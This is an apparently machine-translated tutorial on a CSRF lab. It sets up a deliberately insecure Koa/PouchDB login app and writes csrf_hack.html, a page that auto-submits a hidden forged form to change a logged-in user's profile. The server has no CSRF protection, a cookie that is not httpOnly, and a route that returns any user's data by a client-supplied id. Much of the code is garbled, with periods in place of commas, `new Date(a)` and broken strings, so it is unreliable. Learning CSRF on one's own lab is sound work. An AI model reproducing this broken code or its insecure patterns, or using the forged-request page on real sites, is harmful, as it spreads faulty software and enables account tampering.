CSRF attack experiment

CSRF attacks involve user victims, trusted sites and malicious sites. When the victim has an active session with a trusted site and visits a malicious site, the malicious site injects an HTTP request to the trusted site, thereby compromising the user’s information.

CSRF attacks always involve three actors: the trusted site (Collabtive), the victim’s session or cookie, and a malicious site. When the victim visits a malicious site and talks to a trusted site at the same time. The attack consists of a series of steps, as follows:

  1. The victim user logs in to the trusted site using his/her username and password to create a new session.
  2. The trusted site stores the cookie or session of the victim’s session on the victim’s Web browser.
  3. Victim users visit malicious sites when they do not log out of trusted sites.
  4. A malicious web page sends a request to the victim’s trusted site user’s browser.
  5. Web browsers will automatically connect to session cookies because it is malicious to request against trusted sites.
  6. If a trusted site is attacked by CSRF, some malicious requests from the attacker will be sent to the trusted site.

Malicious sites can make HTTP GET or POST requests to trusted sites. Some HTML tags, such as IMG iframe, frames, and urls of unlimited form, can be included in their use attributes.

Environment set up

The server

I use the KOA framework as the backend framework to build the server, by the way is also to learn the KOA framework, I did not learn before, because it is a beginner, the construction process is a bit long

Without further ado, code:

  // app.js
  const Koa = require('koa');
  const app = new Koa();
  const server = require('koa-static');
  const router = require('koa-router') ();const PouchDB = require('pouchdb');
  const db = new PouchDB('http://localhost:5984/csrf');

  app.use(async (ctx, next) => {
      console.log(`Process ${ctx.request.method} ${ctx.request.url}. `);
      await next();
  });

  // add url-route:
  router.post('/login'.async (ctx, next) => {
    let postData = await parsePostData( ctx );
    try {
      let response = await db.get(`id_${postData.name}`);
      let exp = new Date(a); ctx.cookies.set('id'.`id_${postData.name}`,
        {
          domain: 'localhost'.// Write the domain name of the cookie
          path: '/userInfo.html'.// Write the path to the cookie
          maxAge: 24*60*60*1000.// Cookie validity period
          expires: exp.setTime(exp.getTime() + 24*60*60*1000),  // Cookie expiration time
          httpOnly: false.// Whether to obtain only in HTTP requests
          overwrite: false  // Whether overwriting is allowed})if(response.password === postData.password) ctx.redirect('userInfo.html')}catch (err) {
      ctx.body = "

Login failed, click here returns

"
; }}); router.post('/regist'.async (ctx, next) => { let postData = await parsePostData( ctx ); postData._id = `id_${postData.name}`; try { let response = await db.put(postData); ctx.body = "< p > registration, click on the < a href = 'index.html" > here < / a > to return to the login interface < / p >"; } catch (err) { ctx.body = "

User name already exists, click here returns

"
; }}); router.post('/getUserInfo'.async (ctx, next) => { let postData = await parsePostDataFromAjax( ctx ); let _id = {}; _id[postData.split(':') [0]] = postData.split(':') [1]; try { let doc = await db.get(_id.id); ctx.body = doc; } catch (err) { ctx.body = 'Error occurred'; }}); router.post('/change'.async (ctx, next) => { let postData = await parsePostData( ctx ); console.log(postData); try { let doc = await db.get(postData.id); let response = await db.put({ _id: doc._id, _rev: doc._rev, name: postData.name, password: doc.password, sex: postData.sex, desc: postData.desc }); ctx.body = "< p > modify success, click < a href = 'index.html" > here < / a > to return to the login interface < / p >"; } catch (err) { console.log(err); }}); app.use(router.routes()); app.use(server(__dirname +'/')); app.listen(3001); /** ** For POST request processing, koA2 does not encapsulate the method of obtaining parameters, * requires parsing the POST form data into a Query String by parsing the native Node.js request * object req in the context (e.g. A = 1 = 2 & b & c = 3), then the query string parsed into * JSON format (for example: {" a ":" 1 ", "b" : "2", "c" : "3"}) * / // Parse the POST parameter of node's native request in context, which is used to process the form input parameter function parsePostData( ctx ) { return new Promise((resolve, reject) = > { try { let postdata = ""; ctx.req.addListener('data', (data) => { postdata += data }) ctx.req.addListener("end".function(){ let parseData = parseQueryStr( postdata ) resolve( parseData ) }) } catch ( err ) { reject(err) } }) } // Parse the context of node's native request for POST parameters, which handle Ajax incoming parameters function parsePostDataFromAjax( ctx ) { return new Promise((resolve, reject) = > { try { let postdata = ""; ctx.req.addListener('data', (data) => { postdata += data }) ctx.req.addListener("end".function(){ resolve( postdata ) }) } catch ( err ) { reject(err) } }) } // Parse the POST request parameter string into JSON function parseQueryStr( queryStr ) { let queryData = {} let queryStrList = queryStr.split('&'); for ( let [ index, queryStr ] of queryStrList.entries() ) { let itemList = queryStr.split('=') queryData[ itemList[0]] =decodeURIComponent(itemList[1])}return queryData } Copy the code

It’s just one file. It contains a lot of stuff

  • koa-staticKoa middleware for retrieving static files
  • koa-routerKoa middleware for routing systems
  • pouchDBI use itcouchDBThe framework used with the

The database

I’m using couchDB, and it’s very easy to use here. It’s a web page, and I’ll post a picture here, okay

The front page

Front page has a total of three, respectively is the index. The HTML, regist. HTML, the userInfo. HTML, its action are login, registration, show/modify the user information, I didn’t use CSS styles here… A little ugly

index.html

  
      
  <html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="Width = device - width, initial - scale = 1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>The login</title>
  </head>
  <body>
    <h2>The login</h2>
    <form id="login" action="/login" method="post">Name:<input tyep="text" name="name" />Password:<input type="password" name="password" />
    </form>
    <button id="button">The login</button>
    <a href="./regist.html">registered</a>
  </body>
  <script>
    var button = document.getElementById('button');
    var form = document.getElementById('login');
    button.onclick = function() {
      form.submit();
    }
  </script>
  </html>
Copy the code

regist.html

  
      
  <html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="Width = device - width, initial - scale = 1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>registered</title>
  </head>
  <body>
    <h2>registered</h2>
    <form id="regist" action="/regist" method="post">Name:<input tyep="text" name="name" /><br>Password:<input type="password" name="password" /><br>Gender:<input type="radio" name="sex" value="male" />male<input type="radio" name="sex" value="female" />female<br>Description:<textarea name="desc" id="" cols="30" rows="10"></textarea>
    </form>
    <button id="button">registered</button>
    <a href="./index.html">The login</a>
  </body>
  <script>
    var button = document.getElementById('button');
    var form = document.getElementById('regist');
    button.onclick = function() {
      form.submit();
    }
  </script>
  </html>
Copy the code

userInfo.html

I used Ajax for this page, so I introduced jQuery

  
      
  <html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="Width = device - width, initial - scale = 1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <script src=". / jquery - 3.2.1. Min. Js. ""></script>
    <title>The user information</title>
  </head>
  <body>
    <div>
      <h1>The user information</h1>
      <div>Name:<span id="name"></span></div>
      <div>Gender:<span id="sex"></span></div>
      <div>Description:<span id="desc"></span></div>
      <h1>Modify the information</h1>
      <form id="change" action="/change" method="post">
        <input id="id" name="id" hidden value=""/>Name:<input tyep="text" name="name" /><br>Gender:<input type="radio" name="sex" value="male" />male<input type="radio" name="sex" value="female" />female<br>Description:<textarea name="desc" id="" cols="30" rows="10"></textarea>
      </form>
      <button id="button">Modify the</button>
    </div>
  </body>
  <script>
    window.onload = function() {
      var id = document.cookie.split(";") [0].split("=").join(':');
      $.ajax({
        url: 'http://localhost:3001/getUserInfo'.data: id,
        method: 'post',
      }).then(function(res) {
        var doc = res;
        $("#name").text(doc.name);
        $("#sex").text(doc.sex);
        $("#desc").text(doc.desc);
        $("#id").val(doc._id);
      })
      var form = document.getElementById("change");
      var button = document.getElementById("button");
      button.onclick = function() { form.submit(); }}</script>
  </html>
Copy the code

Finally, put package.json

  {
    "name": "csrf"."version": "1.0.0"."description": ""."main": "app.js"."scripts": {
      "start": "node app.js"
    },
    "author": ""."license": "ISC"."devDependencies": {
      "koa": "^ 2.2.0." "."koa-router": "^ 7.2.1"."koa-static": "^ 3.0.0"."pouchdb": "^ 6.2.0"}}Copy the code

Command line execution

  npm install 
  npm start
Copy the code

CSRF attacks

At last we reached the point, which was only for a moment, and soon we did the following:

  1. First I registered an account, then I logged in to this account to view the information as shown in the picture

    , and his cookie parameter

    In the figure, we find that an important information in the cookie is ID, which is the ID of the current user

  2. I then use the browser developer tools to view the form data and the requested URL so THAT I can construct a fake request
  3. Write csrf_hack. HTML
      
            
        <html lang="en">
        <head>
          <meta charset="UTF-8">
          <meta name="viewport" content="Width = device - width, initial - scale = 1.0">
          <meta http-equiv="X-UA-Compatible" content="ie=edge">
          <title>Attacks on the page</title>
        </head>
        <body>
          <h1>This is an attack page</h1>
        </body>
        <script>
          function hack() {
            var fields;
            fields += "<input type='hidden' name='id' value='id_1111'/>";
            fields += "<input type='hidden' name='name' value='testName'>";
            fields += "<input type='hidden' name='sex' value='testSex'>";
            fields += "<input type='hidden' name='desc' value='testDesc'>";
            
            var url = "http://localhost:3001/change";
            var p = document.createElement("form");
            p.action = url;
            p.innerHTML = fields;
            p.target = "_self";
            p.method = "post";
    
            document.body.appendChild(p);
            p.submit();
          }
          window.onload = function() {
            hack();
          }
        </script>
        </html>` ` `Copy the code
  4. Start a service, put the csrf_hack.html page in it, and then go to that page. The csrf_hack.html page has been replaced

Matters needing attention

  1. To use async,await both node versions need to be above 7
  2. I believe you must also think that the most important thing in this experiment is to get the ID of the attacked party, but we do not have the password of the attacked party, how can we get his ID, this I also continue to think